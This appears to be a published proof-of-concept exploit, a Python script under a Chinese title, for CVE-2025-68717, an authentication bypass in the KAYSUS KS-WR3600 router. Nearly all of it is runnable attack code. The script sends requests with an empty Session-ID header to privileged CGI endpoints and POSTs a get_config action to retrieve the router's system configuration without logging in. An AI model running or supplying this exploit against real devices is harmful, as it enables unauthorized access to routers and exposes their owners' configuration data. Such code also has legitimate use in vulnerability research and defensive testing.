CVE-2025-68717 KAYSUS KS-WR3600路由器认证绕过漏洞

import requests # CVE-2025-68717 PoC - KAYSUS KS-WR3600 Authentication Bypass # Target: KAYSUS KS-WR3600 Router with firmware 1.0.5.9.1 target_ip = "192.168.1.1" # Router IP address target_port = 80 def exploit_auth_bypass(): """ Exploit authentication bypass in KAYSUS KS-WR3600 The vulnerability allows unauthenticated access to privileged endpoints by sending requests with empty or invalid session values. """ # Target endpoints vulnerable to authentication bypass endpoints = [ "/cgi-bin/system-tool", "/cgi-bin/status", "/cgi-bin/config" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Session-ID": "", # Empty session - bypasses authentication "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Testing CVE-2025-68717 on {target_ip}") print(f"[*] Target: KAYSUS KS-WR3600 Firmware 1.0.5.9.1") for endpoint in endpoints: url = f"http://{target_ip}:{target_port}{endpoint}" try: # Send request with empty session to bypass authentication response = requests.get(url, headers=headers, timeout=10) print(f"\n[+] Endpoint: {endpoint}") print(f" Status: {response.status_code}") if response.status_code == 200: print(f" Result: AUTHENTICATION BYPASSED") print(f" Response Length: {len(response.text)} bytes") if len(response.text) > 0: print(f" Sample: {response.text[:200]}...") else: print(f" Result: Request blocked or not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") def check_system_info(): """ Retrieve sensitive system configuration without authentication """ url = f"http://{target_ip}:{target_port}/cgi-bin/system-tool" headers = { "Session-ID": "", # Empty session bypasses auth "User-Agent": "Mozilla/5.0" } data = { "action": "get_config", "section": "system" } try: response = requests.post(url, headers=headers, data=data, timeout=10) if response.status_code == 200: print("\n[+] Retrieved system configuration:") print(response.text) except Exception as e: print(f"[-] Failed to retrieve config: {str(e)}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-68717 - KAYSUS KS-WR3600 Auth Bypass PoC") print("CVSS Score: 9.4 (CRITICAL)") print("=" * 60) exploit_auth_bypass() check_system_info() print("\n[*] PoC completed")